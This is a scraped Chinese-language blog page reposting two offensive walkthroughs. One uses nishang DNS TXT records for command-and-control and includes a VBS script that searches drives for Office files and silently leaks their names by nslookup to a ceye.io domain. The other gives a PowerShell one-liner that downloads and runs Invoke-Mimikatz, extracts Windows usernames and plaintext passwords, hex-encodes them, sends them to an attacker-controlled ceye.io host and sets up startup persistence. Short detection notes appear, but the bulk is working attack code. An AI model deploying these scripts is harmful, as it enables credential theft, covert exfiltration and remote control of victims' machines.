dns tunnel 使用 nishang 下载TXT里的cmd(TXT里)实现CC command+ ceye实现数据外发
摘自:https://hk.saowen.com/a/a06909f1c57cb8452db969b3deede4151de42a7d69f4bb52c5bf027033fb91bd
Powershell dns實驗驗證:
1、 利用powershell構造dns隧道
a) 編寫一個最簡單的一句話腳本,獲取服務列表
b) 使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄
c) 在dns服務器創建對應txt記錄(後續執行需按照1,2,3,4的順序,所以創建記錄名為1)
驗證結果,ok
d) 使用nishang的DNS_TXT_Pwnage讀取txt並執行( 腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝! ),可正常獲取服務列表。
命令和結果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、 外傳結果抓包:
使用Microsoft Network Monitor抓包分析
3、 檢測邏輯匹配分析:
a) 因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名
b) 因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率
c) 類型為TXT,有回包
d) 無A記錄解析結果,也就無進程對結果發起訪問
e) 此實驗場景未覆蓋外傳數據,所以不涉及註冊問題
結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特徵)
利用ceye.io的外傳實驗驗證
1、 少量信息竊取和大量信息竊取
a) 單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名
b) 多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文檔名(此腳本360 未報警),vbs腳本內容如下 ( 代碼未充分驗證,不保證無錯誤,中文支持或讀文檔內容請自行修改) :
'On ErrorResume Next
Set fso =CreateObject("Scripting.FileSystemObject")
toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")
'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"
ConstDRIVE_LETTERS="o"
''''''''''''開始搜索
CallScanDrives()
''''''''''''''''''''
SubScanDrives()
Dim drives
drives=Split(DRIVE_LETTERS,":")
For Each drv In drives
If fso.DriveExists(drv) Then
Set drive=fso.GetDrive(drv)
If drive.isReady Then
CallScanFiles(drive.RootFolder)
End If
End If
Next
End Sub
''''''''''''
SubScanFiles(folder)
For Each this_file In folder.Files
On Error Resume Next
Call FindKeyFile(this_file)
WScript.Sleep 1
Next
For Each this_folder In folder.SubFolders
On Error Resume Next
Call ScanFiles(this_folder)
WScript.Sleep 1
Next
End Sub
'''''''''''查找特定文檔
SubFindKeyFile(file)
On Error Resume Next
For Each tool_name In toolsName
'WScript.Echo
''''將文檔名都轉為大寫匹配
IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then
DnsStr= file.name &".xxxxxxx.ceye.io"
''''進行靜默nslookup上傳
setobjShell=wscript.createObject("wscript.shell")
objShell.exec("%comspec% /c nslookup " & DnsStr)
End If
Next
End Sub
2、 外傳結果展示:
a) 單次少量信息竊取外傳
b) 多次大量信息竊取
3、 檢測邏輯匹配分析:
a) 利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)
利用Powershell和ceye.io实现Windows账户密码回传
最近在研究Powershell的使用,之前我一直不习惯Windows的主要原因是他那孱弱的命令行工具,稍微了解了Powershell之后差点跪下了,真的是一款非常了不起的工具。powershell的定义是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。简单的理解就是像linux下的bash。powershell有着诸多的优点,但是仅凭无文件和操作系统自带这两大优点基本上确定了他的地位。mimikatz是一款黑客后渗透(不是提权)神器,其中一个功能是在管理员账户下获取Windows明文密码,现在也有powershell版本了。我想测试的流程就是通过powershell获取Windows信息之后提取关键的用户名和密码,将用户名和密码转码之后访问ceye.io,这样就可以拿到Windows账户信息了.
0×01 mimikatz获取Windows内容保存到变量
mimikatz现在已经有powershell版本了,而且是http传输,进行免杀要比exe容易,这里不探讨免杀的内容。
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');
$Mimikatzinfo = invoke-mimikatz;
$Mimikatzinfo
0×02 利用powershell正则表达式提取关键内容
分析字段,我们想要的是Username和Password之后的内容,powershell继承的是.net的表达式语法,实现上和python多少有点不同,查了半天资料总算实现了
$Mimikatzinfo = invoke-mimikatz;
$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";
$word = ($regex.Matches($Mimikatzinfo)| %{$_.value})
想要的内容是word的第三个组
$username=$word[2].split("*")[1].split(":")[1];
$password=$word[2].split("*")[3].split(":")[1];
$full=$username.trim()+"_"+$password.trim();
0×03 转码访问
域名中不允许包含特殊字符,也出于绕过的想法,将用户名和密码进行16进制转换然后再访问(ceye.io要换成自己的)
$ab = [System.Text.Encoding]::UTF8.GetBytes($full);
$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");
$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".sss.ceye.io");
0×04 实现开机自启动
新建1.cmd
PowerShell -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%\StartupLog.txt" 2>&1
PowerShell C:\Users\Administrator\Desktop\script.ps1 >> "%TEMP%\StartupLog.txt" 2>&1
新建script.ps1,一句话实现上述功能
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');$Mimikatzinfo = invoke-mimikatz;$regex = [regex]".*Username : (.*?)\n.*\n.*Password : (.*?)\n";$word = ($regex.Matches($Mimikatzinfo)| %{$_.value});$username=$word[2].split("*")[1].split(":")[1];$password=$word[2].split("*")[3].split(":")[1];$full=$username.trim()+"_"+$password.trim();$ab = [System.Text.Encoding]::UTF8.GetBytes($full);$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".rzzz.ceye.io");
把1.cmd放到启动文件夹里
0×05 解码
$pass=""
$t="41646d696e6973747261746f725f6c7566667931323321"
$t -split '(.{2})' |%{ if ($_ -ne "") { $pass+=[CHAR]([CONVERT]::toint16("$_",16)) }}
write $pass
后记
powershell的强大不仅如此,对于黑客来说是一个超级宝库,现在针对powershell成型的黑客工具也越来越多,像是metasploit,powersploit,set。powershell的可编程和windows的紧密结合也可以实现各种各样的猥琐技巧,比如上面的利用启动文件夹实现开机自启动是很low的,powershell和wmi配合可以实现无文件启动。”路漫漫其修远兮 吾将上下而求索”。
*本文作者:s1riu5,转载请注明来自Freebuf.COM
dns tunnel 使用 nishang 下载TXT里的cmd(TXT里)实现CC command+ ceye实现数据外发的更多相关文章
- DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...
- iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server
我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...
- python dig trace 功能实现——通过Querying name server IP来判定是否为dns tunnel
dns tunnel确认方法,查询子域名最终的解析地址: 使用方法:python dig_trace.py "<7cf1e56b 67fc90f8 caaae86e 0787e907 ...
- DNS tunnel的原理及实战
DNS tunnel的原理及实战 摘自:http://netsec.ccert.edu.cn/zhengming/2011/11/01/%E8%BD%AC%E8%BD%BD%EF%BC%9Adns-t ...
- dnscapy使用——本质上是建立ssh的代理(通过dns tunnel)
git clone https://github.com/cr0hn/dnscapy.git easy_install Scapy 服务端: python dnscapy_server.py a.fr ...
- dns tunnel C&C
通过DNS控制主机以及执行命令 我的ubuntu 安装过程 1854 mkdir dns_tunnel_tool 1855 cd dns_tunnel_tool/ 1856 ls 1857 git c ...
- DNS Tunnel判定方法
DNS Tunnel判定方法: 1.查询DNS请求的域名是否存在备案: 2.查询DNS请求的域名情报信息(以及域名的alex排名): 3.查看相同主域名下子域名编码格式及长度:(存在Base32和Ba ...
- CMD命令行合并多个txt文件到一个txt文件
运行->输入CMD回车 输入: Copy G:\MyFolder\*.txt G:\NewFolder\a.txt 回车即可 意思是将G:\MyFolder\下的所有txt文本内容复制到G:\ ...
- txt工具大全(TXT文件合并、txt批量替换、编码转换器)
http://www.wocaoseo.com/thread-301-1-1.html txt是我们在seo中常用的处理对象,但是在这个处理过程中可能有些细节需要注意,比如有些有编码问题,我们就需要编 ...
随机推荐
- Java中last_insert_id的使用
last_insert_id的作用是:在当前表中的主键是自增时,插入一条新记录的同时使用last_insert_id可以获取当前的新记录的主键id. 下面是一个例子: import java.sql. ...
- 《java数据结构与算法》系列之“简单排序"-冒泡,选择,插入
好几天又没写,因为这几天很闲,平时忙的时候自己再累都不会睡着,但是呢这没事了,照理说应该是不瞌睡了,结果还睡着了. 所以说,人很贱.也验证了一句话,没有目标的人其实最无聊.人一定要有自己的工作,这工作 ...
- 【SQL】约束
1. 添加约束 1)使用ALTER TABLE语句 •添加或删除约束,不会修改其结构 •启用和禁用约束 •通过使用MODIFY子句添加NOTNULL约束 ALTER TABLE <table_n ...
- 调试程序时找不到DLL的解决办法
最近调试程序的经常弹出找不到DLL.只好一个个把DLL拷贝到程序目录下(我是拷贝到源文件目录,也有人说是Debug目录). 其实可以这么设置: 项目属性->配置属性->调试->工作目 ...
- SLAM:使用G2O-ORB-SLAM(编译)
前言: 没有新雪,看看自己所做的事情,有没有前人做过.果然,EKF_SLAM的版本出现了Android版本的OpenEKFMonoSLAM, G2O-ORB SLAM也出现了VS2012版本. 一.S ...
- (转)Arcgis for JS之地图自适应调整
http://blog.csdn.net/gisshixisheng/article/details/42675897 概述:本节讲述的内容为当浏览器大小发生变化或者地图展示区域的大小发生变化时,地图 ...
- [bzoj1050 HAOI2006] 旅行comf (kruskal)
传送门 Description 给你一个无向图,N(N<=500)个顶点, M(M<=5000)条边,每条边有一个权值Vi(Vi<30000).给你两个顶点S和T,求 一条路径,使得 ...
- 使用for或while循环来处理处理不确定页数的网页数据爬取
本文转载自以下网站: Python For 和 While 循环爬取不确定页数的网页 https://www.makcyun.top/web_scraping_withpython16.html 需 ...
- Silverlight之我见——制作星星闪烁动画
圣诞节来了,无聊,做点东西纪念一下. 原理很简单,生成1000个圆,从随机数来布置它们的位置,通过动画来处理它们的透明度,动画时长也是随机生成. 1.创建图形数组并设置背景透明,渐变笔触,大小等,而后 ...
- Spring Cloud系列(二) 介绍
Spring Cloud系列(一) 介绍 Spring Cloud是基于Spring Boot实现的微服务架构开发工具.它为微服务架构中涉及的配置管理.服务治理.断路器.智能路由.微代理.控制总线.全 ...